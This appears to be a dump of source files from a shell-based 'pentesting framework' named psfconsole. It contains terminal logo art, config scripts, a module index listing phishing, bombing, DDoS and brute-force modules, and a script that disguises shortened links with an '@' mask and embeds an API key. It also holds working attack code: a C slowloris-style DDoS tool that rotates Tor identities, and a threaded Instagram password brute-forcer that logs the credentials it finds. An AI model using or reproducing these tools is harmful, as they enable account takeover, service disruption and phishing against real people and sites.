'\033[38;2;0;200;118m')" 44 | C4="$(printf '\033[38;2;0;200;118m')" 45 | C5="$(printf '\033[38;2;0;200;118m')" 46 | C6="$(printf '\033[38;2;0;200;118m')" 47 | C7="$(printf '\033[38;2;0;200;118m')" 48 | 49 | color_name=$(printf "${C0}hackerman") 50 | 51 | elif [[ ${1} == "3" ]] 52 | then 53 | B0="$(printf '\033[48;2;28;32;35m')" 54 | B1="$(printf '\033[48;2;199;174;149m')" 55 | B2="$(printf '\033[48;2;204;82;121m')" 56 | B3="$(printf '\033[48;2;102;144;218m')" 57 | B4="$(printf '\033[48;2;187;109;196m')" 58 | B5="$(printf '\033[48;2;199;149;174m')" 59 | B6="$(printf '\033[48;2;79;151;215m')" 60 | B7="$(printf '\033[48;2;199;204;209m')" 61 | R0="$(printf '\033[00m')" 62 | 63 | C0="$(printf '\033[38;2;28;32;35m')" 64 | C1="$(printf '\033[38;2;199;174;149m')" 65 | C2="$(printf '\033[38;2;204;82;121m')" 66 | C3="$(printf '\033[38;2;102;144;218m')" 67 | C4="$(printf '\033[38;2;187;109;196m')" 68 | C5="$(printf '\033[38;2;199;149;174m')" 69 | C6="$(printf '\033[38;2;79;151;215m')" 70 | C7="$(printf '\033[38;2;199;204;209m')" 71 | 72 | color_name=$(printf "${C1}f${C2}a${C3}n${4}c${5}y") 73 | 74 | fi 75 | } 76 | 77 | color_mode $COLOR 78 | -------------------------------------------------------------------------------- /programs/MASK/NURL/url: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | read -p $'\033[4mpsf\033[0m set(\033[91mshort/url/address\033[0m) > ' url 4 | 5 | main() 6 | { 7 | printf "${g0SIGN} Generating url wait a while ...\r" 8 | 9 | if [[ $input == 1 ]] 10 | then 11 | raw_url=$(curl -sL https://api.rebrandly.com/v1/links \ 12 | -H 'Content-Type: application/json' \ 13 | -H 'apikey: 2cb513b5a6334d13bb63459013b6e25b' \ 14 | -d '{"destination": "'"${url}"'","domain":{"fullName":"rebrand.ly"}}' | jq .shortUrl | tr -d '"') 15 | 16 | printf " \r" 17 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/domain/url\033[0m) > ' mask 18 | 19 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/subword\033[0m) > ' word 20 | 21 | echo "${mask}-${word}@${raw_url}" 22 | 23 | 24 | elif [[ $input == 2 ]] 25 | then 26 | raw_url=$(curl -sL http://tinyurl.com/api-create.php?url=${url}) 27 | raw_url=${raw_url#https://} 28 | 29 | printf " \r" 30 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/domain/url\033[0m) > ' mask 31 | 32 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/subword\033[0m) > ' word 33 | 34 | echo "${mask}-${word}@${raw_url}" 35 | 36 | 37 | elif [[ $input == 3 ]] 38 | then 39 | raw_url=$(curl -s https://is.gd/create.php\?format\=simple\&url\=${url}) 40 | raw_url=${raw_url#https://} 41 | 42 | printf " \r" 43 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/domain/url\033[0m) > ' mask 44 | 45 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/subword\033[0m) > ' word 46 | 47 | echo "${mask}-${word}@${raw_url}" 48 | 49 | 50 | elif [[ $input == 4 ]] 51 | then 52 | raw_url=$(curl -sL https://v.gd/create.php\?format\=json\&url\=${url} | jq . | tr -d '{":}' | awk '{printf $2}' | cut -c 8-) 53 | 54 | printf " \r" 55 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/domain/url\033[0m) > ' mask 56 | 57 | read -p $'\033[4mpsf\033[0m set(\033[91mmask/subword\033[0m) > ' word 58 | 59 | echo "${mask}-${word}@${raw_url}" 60 | 61 | fi 62 | } 63 | 64 | 65 | url_identify() { 66 | if [ ! "${url//:*}" = http ]; then 67 | if [ ! "${url//:*}" = https ]; then 68 | echo -e "${r1SIGN} Invalid URL. Please use http or https.\n eg. https://${url}\e[0m" 69 | else 70 | main 71 | fi 72 | else 73 | main 74 | fi 75 | } 76 | 77 | url_identify 78 | 79 | -------------------------------------------------------------------------------- /assets/logos/logo.1: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | printf "\e[49m \e[m\n";SL 7 | printf " \e[49m \e[38;2;255;216;0;49m▄\e[38;2;255;219;0;49m▄\e[49m \e[m\n";SL 8 | printf " \e[38;2;255;193;0;49m▄\e[38;2;255;190;0;49m▄\e[49m \e[38;2;255;195;0;48;2;255;201;0m▄\e[38;2;255;196;0;48;2;255;207;0m▄▄\e[38;2;255;195;0;48;2;255;204;0m▄\e[49m \e[38;2;255;190;0;49m▄\e[38;2;255;193;0;49m▄\e[m\n";SL 9 | printf " \e[38;2;253;172;0;48;2;254;184;0m▄\e[38;2;254;172;0;48;2;254;184;0m▄\e[38;2;254;172;0;48;2;255;182;0m▄\e[38;2;254;172;0;49m▄\e[49m \e[38;2;254;172;0;48;2;254;184;0m▄\e[38;2;255;172;0;48;2;254;185;0m▄\e[49m \e[38;2;255;170;0;48;2;254;185;0m▄\e[38;2;254;172;0;48;2;254;185;0m▄\e[49m \e[38;2;254;172;0;49m▄\e[38;2;254;172;0;48;2;255;179;0m▄\e[38;2;254;172;0;48;2;254;184;0m▄\e[38;2;255;174;0;48;2;254;184;0m▄\e[m\n";SL 10 | printf " \e[38;2;255;150;0;48;2;252;160;0m▄\e[38;2;254;149;0;48;2;254;162;0m▄\e[49m \e[38;2;254;150;0;48;2;254;161;0m▄\e[49m \e[38;2;255;146;0;48;2;255;164;0m▄\e[38;2;254;150;0;48;2;254;161;0m▄\e[49m \e[38;2;254;150;0;48;2;254;161;0m▄\e[48;2;255;153;0m \e[49m \e[38;2;254;150;0;48;2;254;161;0m▄\e[49m \e[38;2;254;149;0;48;2;254;161;0m▄\e[38;2;255;150;0;48;2;252;161;0m▄\e[m\n";SL 11 | printf " \e[49m \e[38;2;255;128;0;48;2;254;138;0m▄\e[38;2;252;126;0;48;2;255;136;0m▄\e[49;38;2;254;138;0m▀\e[38;2;253;127;0;48;2;255;138;0m▄\e[38;2;254;127;0;48;2;255;134;0m▄\e[38;2;255;136;0;48;2;254;138;0m▄\e[49;38;2;255;137;0m▀\e[49m \e[49;38;2;255;140;0m▀\e[38;2;255;136;0;48;2;254;138;0m▄\e[38;2;254;127;0;48;2;255;134;0m▄\e[38;2;253;127;0;48;2;255;138;0m▄\e[49;38;2;254;138;0m▀\e[38;2;252;125;0;48;2;255;146;0m▄\e[38;2;255;129;0;48;2;254;138;0m▄\e[49m \e[m\n";SL 12 | printf " \e[49m \e[38;2;255;104;0;48;2;249;115;0m▄\e[38;2;253;104;0;48;2;253;115;0m▄\e[38;2;253;100;0;49m▄▄▄▄\e[38;2;253;101;0;49m▄\e[38;2;254;102;0;49m▄▄\e[38;2;253;101;0;49m▄\e[38;2;253;100;0;49m▄▄▄▄\e[38;2;253;104;0;48;2;253;115;0m▄\e[38;2;255;104;0;48;2;249;113;0m▄\e[49m \e[m\n";SL 13 | printf " \e[49m \e[49;38;2;254;94;0m▀▀▀▀\e[49;38;2;253;94;0m▀\e[49m \e[49;38;2;253;93;0m▀\e[49;38;2;254;94;0m▀▀▀▀\e[49m \e[m\n";SL 14 | printf " \e[49m \e[m\n";SL 15 | 16 | printf "   █ █ █▀▀ █ █▀▀ █▀▀█ █▀▄▀█ █▀▀\n";SL 17 | printf "   █▄█▄█ █▀▀ █ █ █ █ █ ▀ █ █▀▀\n";SL 18 | printf "   ▀ ▀ ▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀▀ ▀ ▀ ▀▀▀\n\n";SL 19 | 20 | #figlet -f figfont " welcome" 21 | #figlet -f figfont " name" 22 | -------------------------------------------------------------------------------- /assets/logos/logo.9: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | 7 | printf "\e[0m\e[0m ________________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m The Power of Emerald !\e[92m />\e[0m\n";SL 9 | printf "\e[0m ------------------------ \e[0m\e[00m\n";SL 10 | printf "\e[0m \e[0m\n";SL 11 | printf "\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[48;5;28m \e[38;5;82;48;5;231m▄▄▄▄▄\e[38;5;231;48;5;194m \e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;255;48;5;28m \e[38;5;28m \e[38;5;40m▄▄\e[38;5;82;48;5;46m▀▀▀▀\e[48;5;156m▀\e[38;5;157;48;5;194m▄\e[38;5;193;48;5;231m▄ \e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;28;48;5;28m \e[38;5;34;48;5;34m \e[38;5;40;48;5;40m \e[38;5;46;48;5;46m \e[38;5;120;48;5;120m \e[38;5;157;48;5;157m \e[38;5;193;48;5;193m██\e[38;5;82;48;5;82m██\e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;28;48;5;28m \e[38;5;40;48;5;40m \e[38;5;46;48;5;46m \e[38;5;156;48;5;156m \e[38;5;119;48;5;119m \e[38;5;82;48;5;82m█\e[38;5;156;48;5;156m \e[38;5;82;48;5;82m██\e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;28;48;5;28m \e[38;5;40;48;5;40m \e[38;5;34;48;5;34m \e[38;5;46;48;5;46m \e[38;5;119;48;5;119m \e[38;5;46;48;5;46m \e[38;5;40;48;5;40m \e[38;5;46;48;5;46m \e[38;5;82;48;5;82m██\e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;22;48;5;22m \e[38;5;34;48;5;34m \e[38;5;46;48;5;46m \e[38;5;82;48;5;82m \e[38;5;34;48;5;34m \e[38;5;40;48;5;40m \e[38;5;82;48;5;82m██\e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;22;48;5;22m \e[38;5;34;48;5;34m \e[38;5;28;48;5;28m \e[38;5;40;48;5;40m \e[38;5;34;48;5;34m \e[38;5;40;48;5;40m \e[38;5;34;48;5;34m \e[0m \e[0m\n";SL 19 | printf "\e[0m \e[38;5;22;48;5;22m \e[38;5;28;48;5;28m \e[38;5;34;48;5;34m \e[38;5;28;48;5;28m \e[38;5;34;48;5;34m \e[38;5;40;48;5;40m \e[48;5;34m▀▀\e[38;5;34m \e[0m \e[0m\n";SL 20 | printf "\e[0m \e[38;5;28;48;5;28m \e[38;5;34;48;5;34m \e[38;5;28;48;5;28m \e[38;5;34;48;5;34m \e[48;5;28m▀▀\e[38;5;40m▀ \e[0m \e[0m\n";SL 21 | printf "\e[0m \e[38;5;28;48;5;28m \e[38;5;34m▀▀ \e[0m\n";SL 22 | printf "\e[0m \e[0m\n";SL 23 | printf "\e[0m \e[0m\n";SL 24 | -------------------------------------------------------------------------------- /assets/logos/logo.3: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | printf "\e[0m\e[0m ___________________________ \e[0m\n";SL 7 | printf "\e[92m<\e[0m Everything Is Fine Dude ?\e[92m />\e[0m\n";SL 8 | printf "\e[0m --------------------------- \e[0m\e[00m\n\n";SL 9 | printf "\e[0m \e[38;5;236m▄▄▄▄▄▄▄▄\e[0m \e[0m\n";SL 10 | printf "\e[0m \e[48;5;236m \e[38;5;236m▄▄▄\e[38;5;236;48;5;236m▀▀▀▀ \e[0m \e[0m\n";SL 11 | printf "\e[0m \e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;236;48;5;236m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[0m \e[38;5;236m▀\e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[38;5;46m▄\e[0m \e[38;5;46m▄\e[0m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;236m \e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[0m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;236m ▀\e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 19 | printf "\e[0m \e[38;5;236;48;5;236m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 20 | printf "\e[0m \e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 21 | printf "\e[0m \e[38;5;236m▄▄\e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 22 | printf "\e[0m \e[38;5;236m▄▄▄\e[38;5;236;48;5;236m▄\e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 23 | printf "\e[0m \e[38;5;236m▄▄▄\e[38;5;236;48;5;236m \e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 24 | printf "\e[0m \e[38;5;236m▄▄▄\e[38;5;236;48;5;236m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 25 | printf "\e[0m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[0m \e[0m\n";SL 26 | printf "\e[0m \e[38;5;236m▄\e[38;5;236;48;5;236m \e[0m \e[0m\n\n";SL 27 | -------------------------------------------------------------------------------- /assets/programs/info.module: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | aboutMOFULES() { 4 | if [[ $MODE == "PHISH/OTPWEB" ]] 5 | then 6 | INFO=$(printf "module to run :otp phishing sites.") 7 | 8 | elif [[ $MODE == "PHISH/NOTPWEB" ]] 9 | then 10 | INFO=$(printf "module to run :notp phishing sites.") 11 | 12 | elif [[ $MODE == "PHISH/GPSWEB" ]] 13 | then 14 | INFO=$(printf "module to create geolocation phishing sites.") 15 | 16 | elif [[ $MODE == "PHISH/CAMWEB" ]] 17 | then 18 | INFO=$(printf "module to create camera phishing sites.") 19 | 20 | elif [[ $MODE == "PHISH/MICWEB" ]] 21 | then 22 | INFO=$(printf "module to create microphone phishing sites.") 23 | 24 | elif [[ $MODE == "FIND/PROXY" ]] 25 | then 26 | INFO=$(printf "module to find proxies online.") 27 | 28 | elif [[ $MODE == "FIND/IP" ]] 29 | then 30 | INFO=$(printf "module to track ip addresses.") 31 | 32 | elif [[ $MODE == "FIND/HASHES" ]] 33 | then 34 | INFO=$(printf "module to crack hashes from online database.") 35 | 36 | elif [[ $MODE == "BOMBER/CALLNSMS" ]] 37 | then 38 | INFO=$(printf "module to perform a bombing attack.") 39 | 40 | elif [[ $MODE == "LOOKUP/USER" ]] 41 | then 42 | INFO=$(printf "module to gather information of users.") 43 | 44 | elif [[ $MODE == "LOOKUP/NUMBER" ]] 45 | then 46 | INFO=$(printf "module to gather information of numbers.") 47 | 48 | elif [[ $MODE == "LOOKUP/MAC" ]] 49 | then 50 | INFO=$(printf "module to gather vendor information from Mac addresses.") 51 | 52 | elif [[ $MODE == "LOOKUP/COORDINATE" ]] 53 | then 54 | INFO=$(printf "module to gather exact location using coordinates.") 55 | 56 | elif [[ $MODE == "REMOTE/PAYLOAD" ]] 57 | then 58 | INFO=$(printf "module to create a metasploit payload\n for your target devices.") 59 | 60 | elif [[ $MODE == "BRUTE/SOCIAL" ]] 61 | then 62 | INFO=$(printf "module to perform social bruteforce attack.") 63 | 64 | elif [[ $MODE == "BRUTE/HASHES" ]] 65 | then 66 | INFO=$(printf "module to perform hashes bruteforce attack.") 67 | 68 | elif [[ $MODE == "ATTACK/DDOS" ]] 69 | then 70 | INFO=$(printf "module to perform ddos attack on sites.") 71 | 72 | elif [[ $MODE == "SECURE/HASHES" ]] 73 | then 74 | INFO=$(printf "module to generate hashing algorithm.") 75 | 76 | elif [[ $MODE == "SECURE/PASSWD" ]] 77 | then 78 | INFO=$(printf "module to generate strong passwords.") 79 | 80 | elif [[ $MODE == "IDENTIFY/HASHID" ]] 81 | then 82 | INFO=$(printf "module to identify hash algorithms.") 83 | 84 | elif [[ $MODE == "SCAN/VIRUS" ]] 85 | then 86 | INFO=$(printf "module to scan viruses from a file.") 87 | fi 88 | } 89 | -------------------------------------------------------------------------------- /assets/programs/troubleshoot.psf: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | TS1() 4 | { 5 | progress-bar "__wait__ 1" "0.0350" "prog:4" "Checking installation configuration" -r 6 | 7 | 8 | TSETUP() 9 | { 10 | cat <<- CONF > $PREFIX/bin/psfconsole 11 | #!$PREFIX/bin/bash 12 | DIRNAME="${confDIRNAME}" 13 | PNAME="psfconsole" 14 | 15 | cd \${DIRNAME} 16 | bash \${PNAME} \${@} 17 | CONF 18 | } 19 | 20 | 21 | LSETUP() 22 | { 23 | cat <<- CONF > psfconsole 24 | #!/usr/bin/bash 25 | DIRNAME="${confDIRNAME}" 26 | PNAME="psfconsole" 27 | 28 | cd \${DIRNAME} 29 | bash \${PNAME} \${@} 30 | CONF 31 | } 32 | 33 | printf "Checking installation configuration (result): " 34 | if [[ ${installDIR} == $(${CWD}/psfconsole -dir) ]] 35 | #if [[ ${#presentDIR} -gt 0 ]] 36 | then 37 | printf "OK\n\n" 38 | else 39 | printf "Missing\n" 40 | echo "Solving issue ..." 41 | 42 | if [[ $OS == *'Android'* ]];then 43 | # for android 44 | confDIRNAME="$(${CWD}/psfconsole -dir)" 45 | 46 | TSETUP 47 | echo "installDIR=\"${confDIRNAME}\"" > $PREFIX/etc/psf.conf 48 | echo "install_type=${install_type}" >> $PREFIX/etc/psf.conf 49 | else 50 | # for linux 51 | confDIRNAME="$(${CWD}/psfconsole -dir)" 52 | 53 | LSETUP 54 | echo "installDIR=\"${confDIRNAME}\"" > psf.conf 55 | echo "install_type=${install_type}" >> psf.conf 56 | sudo mv psf.conf /etc 57 | fi 58 | 59 | if [[ ! -f "$PREFIX/etc/psf.conf" ]] 60 | then 61 | presentDIR="" 62 | else 63 | source $PREFIX/etc/psf.conf 64 | presentDIR="${installDIR}" 65 | fi 66 | echo "Done." 67 | fi 68 | } 69 | 70 | TS2() 71 | { 72 | progress-bar "__wait__ 1" "0.0350" "prog:4" "Checking files modification" -r 73 | FILE_CHANGES=$(git status | grep "modified:" | cut -c 2-) 74 | printf "Checking files modification (result):" 75 | if [[ ${FILE_CHANGES} == *"modified"* ]] 76 | then 77 | echo -e "\n${FILE_CHANGES}" 78 | echo -e "Noticed that these files are modified maybe that's why psfconsole having problems to run properly.\n" 79 | else 80 | printf "OK\n\n" 81 | fi 82 | } 83 | 84 | TS3() 85 | { 86 | progress-bar "__wait__ 1" "0.0350" "prog:4" "Checking required packages" -r 87 | source $CWD/assets/programs/requirements.psf -d -t 88 | printf "Checking required packages (result): " 89 | if [ "${#dep_missing}" -gt 0 ]; then 90 | echo "These dependencies '${C2}${MISSING_PACKAGES}${R0}' are not installed properly." 91 | install_packages 92 | else 93 | printf "OK\n" 94 | fi 95 | } 96 | 97 | 98 | if [[ ${1} == "-ts" || ${1} == "--troubleshoot" ]] 99 | then 100 | TS1 101 | TS2 102 | TS3 103 | exit 0 104 | fi 105 | -------------------------------------------------------------------------------- /assets/logos/logo.12: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | 7 | printf "\e[0m\e[0m __________________________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m Thank You For Using Psfconsole !\e[92m />\e[0m\n";SL 9 | printf "\e[0m ---------------------------------- \e[0m\e[00m\n";SL 10 | printf "\e[0m \e[0m\n";SL 11 | printf "\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;140m▄▄▄▄▄▄\e[38;5;176m▄▄▄\e[38;5;175m▄▄\e[38;5;16m \e[38;5;168m▄▄\e[38;5;204m▄▄▄\e[38;5;167m▄▄\e[38;5;203m▄▄\e[38;5;16m \e[38;5;209m▄▄\e[38;5;172m▄▄▄▄▄\e[38;5;214m▄▄▄▄▄\e[38;5;178m▄\e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;140;48;5;176m▀\e[38;5;176m \e[0;38;5;175m▀▀▀\e[38;5;175m▀▀▀\e[38;5;168;48;5;211m▄\e[38;5;204m▄\e[0;38;5;167m▄\e[38;5;167m▄\e[0;38;5;203m \e[38;5;203m▄\e[48;5;232m▄\e[38;5;167;48;5;209m▀▀\e[38;5;203;0;38;5;209m▀▀\e[38;5;209m▀▀▀\e[38;5;214;48;5;209m▄▄\e[0;38;5;214m▄▄\e[38;5;16m \e[38;5;214;48;5;214m███\e[38;5;178;48;5;178m█\e[0;38;5;214m▀▀\e[38;5;178m▀▀▀▀▀\e[48;5;179m▀▀\e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;175;48;5;211m▀▀▀\e[0m \e[38;5;167;48;5;209m▀\e[38;5;203m▀\e[38;5;209m \e[0m \e[38;5;172;48;5;209m▄\e[38;5;214m▄\e[48;5;215m▄▄\e[0m \e[38;5;178m▀▀▀▀\e[38;5;16m \e[38;5;178;48;5;185m▀▀\e[38;5;184;48;5;149m▀▀\e[0m \e[38;5;143m▀\e[38;5;107m▀\e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;204;48;5;210m▀▀\e[38;5;209m▄▄\e[38;5;203;48;5;209m▀\e[38;5;209m \e[48;5;215m▀\e[38;5;214;48;5;209m▄▄\e[48;5;215m▄\e[48;5;214m█\e[0m \e[38;5;232;48;5;232m \e[38;5;178;48;5;178m██\e[48;5;184m▀\e[38;5;142m▄\e[48;5;142m█\e[48;5;149m▀▀▀▀▄▄\e[0m \e[0;38;5;107;48;5;149m▄\e[38;5;108m▄\e[38;5;107;48;5;108m▀\e[38;5;72;48;5;150m▄\e[48;5;114m▄\e[38;5;73m▄▄\e[48;5;109m▄\e[38;5;72;48;5;74m▀▀▀\e[38;5;73m▀\e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;172;48;5;209m▄\e[38;5;214m▄▄\e[0m \e[38;5;142m▄▄\e[38;5;106m▄\e[38;5;107m▄\e[38;5;16m \e[38;5;72;48;5;113m▄\e[48;5;108m▄\e[48;5;73m▀▀\e[0m \e[38;5;72;48;5;74m▀\e[38;5;73m▀▀▀\e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;214;48;5;214m███\e[0m \e[38;5;107m▀\e[48;5;232m▀\e[48;5;72m▀▀\e[0;38;5;72m▄\e[38;5;30m▄\e[38;5;31m▄▄▄\e[48;5;73m▄▄\e[0;38;5;74m▀▀\e[38;5;16m \e[38;5;74;48;5;74m \e[38;5;68;48;5;68m \e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;214m▀\e[38;5;178m▀▀\e[0;38;5;30m \e[38;5;30m▀▀\e[38;5;31m▀▀▀▀▀▀▀\e[38;5;16m \e[38;5;25m▀▀\e[38;5;61m▀▀\e[0m \e[0m\n";SL 19 | printf "\e[0m \e[0m\n";SL 20 | printf "\e[0m \e[0m\n";SL 21 | -------------------------------------------------------------------------------- /programs/ATTACK/DDOS/site.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | int make_socket(char *host, char *port) { 14 | struct addrinfo hints, *servinfo, *p; 15 | int sock, r; 16 | // fprintf(stderr, "[Connecting -> %s:%s\n", host, port); 17 | memset(&hints, 0, sizeof(hints)); 18 | hints.ai_family = AF_UNSPEC; 19 | hints.ai_socktype = SOCK_STREAM; 20 | if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { 21 | fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r)); 22 | exit(0); 23 | } 24 | for(p = servinfo; p != NULL; p = p->ai_next) { 25 | if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { 26 | continue; 27 | } 28 | if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { 29 | close(sock); 30 | continue; 31 | } 32 | break; 33 | } 34 | if(p == NULL) { 35 | if(servinfo) 36 | freeaddrinfo(servinfo); 37 | fprintf(stderr, "No connection could be made\n"); 38 | exit(1); 39 | exit(1); 40 | } 41 | if(servinfo) 42 | freeaddrinfo(servinfo); 43 | fprintf(stderr, "(Connected -> %s:%s)\n", host, port); 44 | return sock; 45 | } 46 | 47 | void broke(int s) { 48 | // do nothing 49 | } 50 | 51 | #define CONNECTIONS 8 52 | #define THREADS 48 53 | 54 | void attack(char *host, char *port, int id) { 55 | int sockets[CONNECTIONS]; 56 | int x, g=1, r; 57 | for(x=0; x!= CONNECTIONS; x++) 58 | sockets[x]=0; 59 | signal(SIGPIPE, &broke); 60 | while(1) { 61 | for(x=0; x != CONNECTIONS; x++) { 62 | if(sockets[x] == 0) 63 | sockets[x] = make_socket(host, port); 64 | r=write(sockets[x], "\0", 1); 65 | if(r == -1) { 66 | close(sockets[x]); 67 | sockets[x] = make_socket(host, port); 68 | } else 69 | // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r); 70 | fprintf(stderr, "(%i: Packets Sent)\n", id); 71 | } 72 | fprintf(stderr, "(%i: Packets Sent)\n", id); 73 | usleep(300000); 74 | } 75 | } 76 | 77 | void cycle_identity() { 78 | int r; 79 | int socket = make_socket("localhost", "9050"); 80 | write(socket, "AUTHENTICATE \"\"\n", 16); 81 | while(1) { 82 | r=write(socket, "signal NEWNYM\n\x00", 16); 83 | fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r); 84 | usleep(300000); 85 | } 86 | } 87 | 88 | int main(int argc, char **argv) { 89 | int x; 90 | if(argc !=3) 91 | cycle_identity(); 92 | for(x=0; x != THREADS; x++) { 93 | if(fork()) 94 | attack(argv[1], argv[2], x); 95 | usleep(200000); 96 | } 97 | getc(stdin); 98 | return 0; 99 | } 100 | -------------------------------------------------------------------------------- /programs/BRUTE/SOCIAL/instagram.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | from __future__ import print_function 3 | import requests, sys, threading, time, os, random 4 | from random import randint 5 | from six.moves import input 6 | 7 | CheckVersion = str (sys.version) 8 | import re 9 | from datetime import datetime 10 | 11 | class brute (object): 12 | def __init__(self): 13 | 14 | try: 15 | user=input("\033[4mpsf\033[0m set(\033[91mbrute/username\033[0m) > ") 16 | passlist = input ("\033[4mpsf\033[0m set(\033[91mbrute/passwd/dir\033[0m) > ") 17 | print("\nTarget Username/Email Id: ",user) 18 | print("\nTrying Password list from:", passlist) 19 | 20 | except: 21 | print ('') 22 | sys.exit () 23 | 24 | with open (passlist, 'r') as x: 25 | passlistlist = x.read ().splitlines () 26 | thread = [] 27 | self.Coutprox = 0 28 | for passlist in passlistlist: 29 | password = passlist.split (':')[0] 30 | t = threading.Thread (target=self.New_Br, args=(user, password)) 31 | t.start () 32 | thread.append (t) 33 | time.sleep (0.9) 34 | for j in thread: 35 | j.join () 36 | 37 | def cls(self): 38 | linux = 'clear' 39 | windows = 'cls' 40 | os.system ([linux, windows][os.name == 'nt']) 41 | 42 | def New_Br(self, user, pwd): 43 | link = 'https://www.instagram.com/accounts/login/' 44 | login_url = 'https://www.instagram.com/accounts/login/ajax/' 45 | 46 | time = int (datetime.now ().timestamp ()) 47 | 48 | payload = { 49 | 'username': user, 50 | 'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}', 51 | 'queryParams': {}, 52 | 'optIntoOneTap': 'false' 53 | } 54 | 55 | with requests.Session () as s: 56 | r = s.get (link) 57 | r = s.post (login_url, data=payload, headers={ 58 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36", 59 | "X-Requested-With": "XMLHttpRequest", 60 | "Referer": "https://www.instagram.com/accounts/login/", 61 | "x-csrftoken": 'ZxKmz4hXp6XKmTPg9lzgYxXN4sFr2pzo' 62 | }) 63 | print (f'Username: {user} Trying Password: {pwd}') 64 | 65 | if 'checkpoint_url' in r.text: 66 | print (('' + user + ':' + pwd + ' : Password is found')) 67 | with open ('good.txt', 'a') as x: 68 | x.write (user + ':' + pwd + '\n') 69 | elif 'two_factor_required' in r.text: 70 | print (('' + user + ':' + pwd + ' : Authentication Required. ')) 71 | with open ('results_NeedVerfiy.txt', 'a') as x: 72 | x.write (user + ':' + pwd + '\n') 73 | 74 | 75 | brute() 76 | -------------------------------------------------------------------------------- /assets/programs/tunnel.installer: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | export RAWLINK=https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/master 5 | export POSTDIR=$(pwd | sed "s/\/pentesting-framework//g") 6 | DIR="${POSTDIR}/psf-extramodule" 7 | 8 | 9 | if [[ ! $__return__ == 105 ]];then 10 | cd ${DIR}/server &> /dev/null 11 | else 12 | cd server &> /dev/null 13 | fi 14 | 15 | # interrupter 16 | exit_on_signal_SIGINT () { 17 | exit 0 18 | } 19 | trap exit_on_signal_SIGINT SIGINT 20 | 21 | arch=$(dpkg --print-architecture) 22 | android=$(uname -o | grep "Android") 23 | linux=$(uname -o | grep "Linux") 24 | 25 | if [[ ! -f ngrok ]] && [[ ! -f cloudflared ]] 26 | then 27 | 28 | 